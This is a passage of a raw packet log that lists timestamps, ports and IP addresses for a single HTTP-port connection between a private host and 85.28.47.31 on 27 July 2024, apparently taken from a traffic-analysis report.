Jul 27, 2024 03:19:15.042617083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.042633057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.042634010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.042650938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.042650938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.042665958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.042665958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.042681932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.042690992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.042699099 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.042709112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.042723894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.042726994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.042742968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.042743921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.042756081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.042759895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.042777061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.042793036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.043395042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.043442011 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.043493032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.043507099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.043528080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.043529034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.043540955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.043545961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.043561935 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.043565035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.043580055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.043581963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.043598890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.043600082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.043613911 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.043632984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.127207041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.127249002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.127274036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.127274990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.127290964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.127298117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.127307892 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.127314091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.127324104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.127331018 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.127341986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.127347946 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.127363920 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.127377987 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.127391100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.127407074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.127423048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.127424955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.127439976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.127439976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.127458096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.127459049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.127475023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.127475977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.127489090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.127494097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.127509117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.127532959 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.128122091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128151894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128160000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.128169060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128182888 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.128201962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128217936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.128218889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128235102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.128341913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128365993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128367901 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.128382921 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128391027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.128396988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.128401041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128415108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.128417969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128432989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.128434896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128448009 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.128452063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128465891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.128487110 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.128518105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128532887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128547907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128552914 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.128565073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128567934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.128581047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.128582954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128599882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128599882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.128614902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.128617048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128633022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128638983 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.128649950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128654957 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.128673077 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.128685951 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.128698111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128735065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128736019 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.128751040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128767014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128770113 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.128784895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.128798962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.128864050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128879070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128894091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128909111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128923893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128938913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128953934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.128987074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129000902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129015923 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129043102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129056931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129056931 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129056931 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129057884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129057884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129074097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129079103 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129079103 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129087925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129091024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129100084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129116058 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129120111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129133940 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129136086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129152060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129163027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129168034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129183054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129189014 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129204988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129230022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129232883 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129249096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129264116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129272938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129280090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129287958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129295111 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129318953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129322052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129333973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129349947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129357100 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129364967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129379034 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129380941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129398108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129398108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129412889 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129450083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129465103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129475117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129482031 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129491091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129498959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129513979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129520893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129556894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129556894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129556894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129575968 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129580021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129596949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129612923 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129617929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129630089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129642010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129647970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129656076 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129664898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129681110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.129684925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129684925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129704952 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.129717112 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.130004883 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.130022049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.130040884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.130043030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.130065918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.130067110 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.130079031 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.130084038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.130099058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.130116940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.130130053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.130153894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.130153894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.130173922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.130173922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.130175114 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.131066084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.131100893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.131105900 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.131138086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.131201029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.131217003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.131232977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.131237030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.131253004 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.131269932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.131299973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.131316900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.131340027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.131347895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.131354094 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.131371975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.131382942 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.131392956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.131405115 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.131408930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.131424904 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.131426096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.131443977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.131445885 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.131462097 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.131465912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.131478071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.131483078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.131514072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.132668018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.132702112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.132707119 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.132720947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.132736921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.132756948 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.132781029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.132797003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.132812023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.132819891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.132828951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.132834911 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.132853985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.132869959 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.215640068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.215681076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.215697050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.215708017 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.215717077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.215734959 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.215742111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.215743065 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.215759039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.215761900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.215778112 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.215785027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.215792894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.215801954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.215816021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.215817928 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.215832949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.215842009 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.215857029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.215873003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.215886116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.215895891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.215895891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.215902090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.215905905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.215905905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.215919018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.215926886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.215949059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.215954065 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.216455936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.216502905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.216902971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.216933966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.216943026 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.216950893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.216981888 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.216989994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.217005014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.217020988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.217025042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.217037916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.217046976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.217060089 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.217075109 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.217094898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.217123985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.217201948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.217241049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.217252970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.217283964 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.217333078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.217369080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.217534065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.217566967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.217609882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.217624903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.217645884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.217658043 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.217680931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.217695951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.217710972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.217716932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.217725992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.217730045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.217745066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.217746019 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.217757940 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.217775106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.217842102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.217855930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.217870951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.217875957 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.217886925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.217890024 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.217902899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.217905998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.217919111 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.217921972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.217938900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.217941046 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.217953920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.217958927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.217968941 CEST	49710	80	192.168.2.6	85.28.47.31
